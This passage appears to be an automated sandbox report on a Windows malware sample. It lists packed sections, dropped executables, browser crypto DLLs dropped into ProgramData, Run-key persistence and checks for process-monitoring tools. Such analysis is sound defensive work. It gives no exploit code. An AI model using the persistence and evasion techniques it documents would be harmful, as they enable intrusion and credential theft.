Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1800704 > 1048576

Source: file.exe

Static PE information: Raw size of ofswnyqv is bigger than: 0x100000 < 0x19da00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 8416d1ef13.exe, 0000002D.00000003.3025146871.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, 8416d1ef13.exe, 0000002D.00000002.3160804704.00000000001C2000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ofswnyqv:EW;nhryoslq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ofswnyqv:EW;nhryoslq:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Unpacked PE file: 19.2.DocumentsHCFCAAEBGC.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkitmsue:EW;tmsbqfoz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkitmsue:EW;tmsbqfoz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkitmsue:EW;tmsbqfoz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkitmsue:EW;tmsbqfoz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lkitmsue:EW;tmsbqfoz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lkitmsue:EW;tmsbqfoz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Unpacked PE file: 27.2.fd9f6e129b.exe.620000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ofswnyqv:EW;nhryoslq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ofswnyqv:EW;nhryoslq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Unpacked PE file: 45.2.8416d1ef13.exe.1c0000.0.unpack :EW;.rsrc:W;.idata :W;oxnuddjg:EW;oawapqis:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Unpacked PE file: 49.2.fd9f6e129b.exe.620000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ofswnyqv:EW;nhryoslq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ofswnyqv:EW;nhryoslq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: real checksum: 0x1d3b72 should be: 0x1d0b6e
Source: skotes.exe.19.dr	Static PE information: real checksum: 0x1d3b72 should be: 0x1d0b6e
Source: random[1].exe.23.dr	Static PE information: real checksum: 0x1cdc94 should be: 0x1cbe6e
Source: ae2b9dbc74.exe.23.dr	Static PE information: real checksum: 0x431b06 should be: 0x43df3b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x431b06 should be: 0x43df3b
Source: 067286f766.exe.23.dr	Static PE information: real checksum: 0x1cdc94 should be: 0x1cbe6e
Source: 8416d1ef13.exe.23.dr	Static PE information: real checksum: 0x2a640f should be: 0x2a943c
Source: fd9f6e129b.exe.23.dr	Static PE information: real checksum: 0x1ba120 should be: 0x1c6805
Source: file.exe	Static PE information: real checksum: 0x1ba120 should be: 0x1c6805
Source: random[1].exe0.23.dr	Static PE information: real checksum: 0x1ba120 should be: 0x1c6805
Source: random[2].exe0.23.dr	Static PE information: real checksum: 0x2a640f should be: 0x2a943c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ofswnyqv
Source: file.exe	Static PE information: section name: nhryoslq
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: lkitmsue
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: tmsbqfoz
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: secyibqm
Source: random[1].exe.0.dr	Static PE information: section name: jcradwod
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: lkitmsue
Source: skotes.exe.19.dr	Static PE information: section name: tmsbqfoz
Source: skotes.exe.19.dr	Static PE information: section name: .taggant
Source: 8416d1ef13.exe.23.dr	Static PE information: section name:
Source: 8416d1ef13.exe.23.dr	Static PE information: section name: .idata
Source: 8416d1ef13.exe.23.dr	Static PE information: section name: oxnuddjg
Source: 8416d1ef13.exe.23.dr	Static PE information: section name: oawapqis
Source: 8416d1ef13.exe.23.dr	Static PE information: section name: .taggant
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name:
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: .rsrc
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: .idata
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name:
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: secyibqm
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: jcradwod
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: ffvhfheu
Source: random[1].exe.23.dr	Static PE information: section name: vhlwdbpf
Source: random[1].exe.23.dr	Static PE information: section name: .taggant
Source: 067286f766.exe.23.dr	Static PE information: section name:
Source: 067286f766.exe.23.dr	Static PE information: section name: .rsrc
Source: 067286f766.exe.23.dr	Static PE information: section name: .idata
Source: 067286f766.exe.23.dr	Static PE information: section name:
Source: 067286f766.exe.23.dr	Static PE information: section name: ffvhfheu
Source: 067286f766.exe.23.dr	Static PE information: section name: vhlwdbpf
Source: 067286f766.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: ofswnyqv
Source: random[1].exe0.23.dr	Static PE information: section name: nhryoslq
Source: random[1].exe0.23.dr	Static PE information: section name: .taggant
Source: fd9f6e129b.exe.23.dr	Static PE information: section name:
Source: fd9f6e129b.exe.23.dr	Static PE information: section name: .idata
Source: fd9f6e129b.exe.23.dr	Static PE information: section name:
Source: fd9f6e129b.exe.23.dr	Static PE information: section name: ofswnyqv
Source: fd9f6e129b.exe.23.dr	Static PE information: section name: nhryoslq
Source: fd9f6e129b.exe.23.dr	Static PE information: section name: .taggant
Source: random[2].exe0.23.dr	Static PE information: section name:
Source: random[2].exe0.23.dr	Static PE information: section name: .idata
Source: random[2].exe0.23.dr	Static PE information: section name: oxnuddjg
Source: random[2].exe0.23.dr	Static PE information: section name: oawapqis
Source: random[2].exe0.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B536 push ecx; ret	0_2_6C50B549
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C351E8 push edx; ret	26_3_00C35202
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C3523D push ebx; ret	26_3_00C3523E
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC3 pushfd ; ret	26_3_00C39CC6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC3 pushfd ; ret	26_3_00C39CC6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC3 pushfd ; ret	26_3_00C39CC6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC3 pushfd ; ret	26_3_00C39CC6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC7 pushfd ; ret	26_3_00C39CCA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC7 pushfd ; ret	26_3_00C39CCA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC7 pushfd ; ret	26_3_00C39CCA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CC7 pushfd ; ret	26_3_00C39CCA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCB pushfd ; ret	26_3_00C39CCE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCB pushfd ; ret	26_3_00C39CCE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCB pushfd ; ret	26_3_00C39CCE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCB pushfd ; ret	26_3_00C39CCE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCF pushfd ; ret	26_3_00C39CD2
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCF pushfd ; ret	26_3_00C39CD2
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCF pushfd ; ret	26_3_00C39CD2
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CCF pushfd ; ret	26_3_00C39CD2
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD3 pushfd ; ret	26_3_00C39CD6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD3 pushfd ; ret	26_3_00C39CD6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD3 pushfd ; ret	26_3_00C39CD6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD3 pushfd ; ret	26_3_00C39CD6
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD7 pushfd ; ret	26_3_00C39CDA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD7 pushfd ; ret	26_3_00C39CDA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD7 pushfd ; ret	26_3_00C39CDA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CD7 pushfd ; ret	26_3_00C39CDA
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CDB pushfd ; ret	26_3_00C39CDE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CDB pushfd ; ret	26_3_00C39CDE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CDB pushfd ; ret	26_3_00C39CDE
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Code function: 26_3_00C39CDB pushfd ; ret	26_3_00C39CDE

Source: file.exe	Static PE information: section name: ofswnyqv entropy: 7.9541988353807485
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: entropy: 7.981390585740693
Source: DocumentsHCFCAAEBGC.exe.0.dr	Static PE information: section name: lkitmsue entropy: 7.953334587080424
Source: random[1].exe.0.dr	Static PE information: section name: secyibqm entropy: 7.9562618999331445
Source: skotes.exe.19.dr	Static PE information: section name: entropy: 7.981390585740693
Source: skotes.exe.19.dr	Static PE information: section name: lkitmsue entropy: 7.953334587080424
Source: 8416d1ef13.exe.23.dr	Static PE information: section name: entropy: 7.80766584801437
Source: ae2b9dbc74.exe.23.dr	Static PE information: section name: secyibqm entropy: 7.9562618999331445
Source: random[1].exe.23.dr	Static PE information: section name: entropy: 7.96915631471483
Source: random[1].exe.23.dr	Static PE information: section name: ffvhfheu entropy: 7.951877259102433
Source: 067286f766.exe.23.dr	Static PE information: section name: entropy: 7.96915631471483
Source: 067286f766.exe.23.dr	Static PE information: section name: ffvhfheu entropy: 7.951877259102433
Source: random[1].exe0.23.dr	Static PE information: section name: ofswnyqv entropy: 7.9541988353807485
Source: fd9f6e129b.exe.23.dr	Static PE information: section name: ofswnyqv entropy: 7.9541988353807485
Source: random[2].exe0.23.dr	Static PE information: section name: entropy: 7.80766584801437

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCFCAAEBGC.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHCFCAAEBGC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCFCAAEBGC.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fd9f6e129b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 067286f766.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8416d1ef13.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 92cf6f64c8.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCFCAAEBGC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Regmonclass
